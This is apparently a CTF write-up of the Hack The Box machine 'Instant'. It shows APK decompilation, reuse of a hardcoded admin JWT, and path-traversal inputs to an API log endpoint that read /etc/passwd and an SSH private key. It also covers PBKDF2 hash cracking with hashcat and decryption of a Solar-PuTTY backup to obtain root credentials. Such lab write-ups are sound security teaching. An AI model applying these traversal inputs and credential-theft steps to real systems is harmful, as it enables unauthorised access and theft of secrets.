Instant
Instant is a medium Linux box. We are given an apk file which we can extract to view its source code. Inside this code we see that it is making API calls to its own site. After searching through the code we find two subdomains. One of the API calls is vulnerable to a file disclosure which lets us SSH into the machine. Inside the server we find a database which contains the passwords for the users in the application, which includes the user we are currently logged on as. After cracking the password we can decrypt a .dat
file which is encrypted with Solar Putty. This file contains the password for the root user.
Enumeration
The box only has two TCP ports open, those being 22 and 80, port 80 points us to a site which tires to redirect us to instant.htb
, after adding this to our /etc/hosts
file we can now access the webpage at http://instant.htb
.
Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -p22,80 10.10.11.37 -Pn -n -oN nmap/instant -sCV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-06 09:38 CEST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 09:38 (0:00:06 remaining)
Nmap scan report for 10.10.11.37
Host is up (0.017s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.47 seconds
The website is a very basic html page with very little content, the only notable thing is the download link which after clicking, downloads an APK file. I saw that the path to this file was at http://instant.htb/downalods/instant.apk
, I tried fuzzing for more files inside this directory but nothing came up. There is not much left that we can enumerate from this site so I focussed my attention to the APK file.
Decompiling the APK file
We can view the source code by decompiliing it with jadx
. After running jadx -d $(PWD)/app instant.apk
we get the decompiled source code inside the app
directory. After looking through the code I find an interesting directory which contains a lot of API calls.
app/sources/com/instantlabs/instant
contains the different functions that the app can do. Most notably I see a hardcoded access token for an administrator user which might be useful later on.
I also see that the API request are being done to the following subdomain: http://mywalletv1.instant.htb/api/v1/
. Seeing as this is a new subdomain I try to search through the code to see if there are any more hidden subdomains. After running grep -r "instant.htb" .
and reading through the output I find another subdomain: swagger-ui.instant.htb
. This subdomain contains the documentation for the API calls the application makes.
We have the option to authenticate to the app with an access token, since the source had a hard coded token for an admin user I decide to use that one. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
After some basic enumeration of the API calls we can find that there are two users with an account, and administrator and the user shirohige
. There are two types of users, admins and non admins which can be differentiated by their role
field. I tried to transfer funds to another account since the admin user had some currently in his wallet but this did not produce any interesting output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"Status": 200,
"Users": [
{
"email": "admin@instant.htb",
"role": "Admin",
"secret_pin": 87348,
"status": "active",
"username": "instantAdmin",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
{
"email": "shirohige@instant.htb",
"role": "instantian",
"secret_pin": 42845,
"status": "active",
"username": "shirohige",
"wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
}
]
}
Finding the File Disclosure
Following this I tried to read the log files by using the API endpoint /api/v1/admin/view/logs
, this leaks that the logs are being stored in the following directory: /home/shirohige/logs/
. If you remember from earlier shirohige
was a registered user in this application and it also has a home directory inside the machine. /api/v1/admin/read/logs
lets us enter a log filename to read it. The first thing I tried was a file disclosure. Inputting a file name of ../../../../etc/passwd
lets us read the /etc/passwd
folder:
1
2
3
4
5
6
7
8
{
"/home/shirohige/logs/../../../../../../../etc/passwd": [
"root:x:0:0:root:/root:/bin/bash\n",
...
"shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",
],
"Status": 201
}
Since we know which user is on the box and we have confirmed the file disclosure we can try reading the SSH keys for the user shirohige
. Using ../.ssh/id_rsa
as the file name we get the private ssh key which after some cleaning up lets us ssh into the machine.
1
2
3
4
5
6
7
{
"/home/shirohige/logs/../.ssh/id_rsa": [
"-----BEGIN OPENSSH PRIVATE KEY-----\n",
"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\n",
...
]
}
Privilege Escalation
I always try to find out what binaries can we run without providing root’s password, in this case we do not have the password for the user shirohige
therefore I try to find binaries with the setuid bit activated but this also does not give any interesting output. From here I looked over the directories inside of the home directory of this user and found the app’s directory, which included a database file. After copying the database to my own machine and opening it with sqlite3
I see that the table wallet_users
contains the password for all the users in the application, which includes the password of our current user. Of course these passwords are encrypted. Sadly we cannot just give these hashes to hashcat
as its a funky format. Below I explain how to properly modify the hash such that hashcat
can crack it. I used this discussion as a reference
Cracking Shirohige’s Password
The hash type we are trying to crack is a PBKDF2-HMAC-SHA256
hash, lets first try to understand each part of the hash. pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed
Is our hash, the first part pbkdf2:sha256:600000
represents the encryption function and the iterations, in this case they used PBKDF2 with sha256 and 600000 iterations. The next part YnRgjnim
is the salt used for the password. Finally the remaining string is our hash.
- The first step is to convert the salt to base64. We can do that with the following command:
echo -n 'YnRgjnim' | base64
- Following this we need to convert the hash to base64 but before that we must convert the hash into raw binary data.
echo -n 'c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed' | xxd -r -p | base64
- Write the new hash with the following format:
sha256:iterations:base64(salt):base64(hash)
.
After giving hashcat
the hash and the rockyou.txt
wordlist we can crack the password which turns out ot be: estrella
. I tried listing what binaries we can run without providing the root password again but this is not the correct password. Just to double check that this was the correct password I logged in as shirohige
in the application. It gives us access but this user is not an admin and his wallet is empty therefore there is nothing else we can do in the app.
Since we have this password it must be there for something but I cannot find where. Without anything to go by I run Linpeas to try to find hidden files or other points of interest. Turns out it was in plain sight in the /opt
directory.
Decrypting the .dat file
This directory is owned by us therefore we have full permissions on it. We file named sessions-backup.dat
1
2
cat sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=
The file seems to be base64 encoded but after decoding it it does not produce anything meaningful and doing a file
on the new file gives us data
which means its not a known file type. Since this file was inside the Solar-PuTTY
directory I try to investigate what this app does.
It seems that this .dat
file contains sensitive information and its encrypted with a password. I used this post as a reference. Since we only have on password we should decrypt it with it. After some digging I found a script that will decrypt the file. After providing it with the password it successfully decrypts the file.
1
2
3
4
python3 decrypt.py sessions-backup.dat password.file
[0] password='estrella'
{"Sessions":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04","AuthenticateScript":"00000000-0000-0000-0000-000000000000","LastTimeOpen":"0001-01-01T00:00:00","OpenCounter":1,"SerialLine":null,"Speed":0,"Color":"#FF176998","TelnetConnectionWaitSeconds":1,"LoggingEnabled":false,"RemoteDirectory":""}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12**24nzC!r0c%q12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"}
Finally we get root’s credentials:root:12**24nzC!r0c%q12
. We can now login as root and read the flag.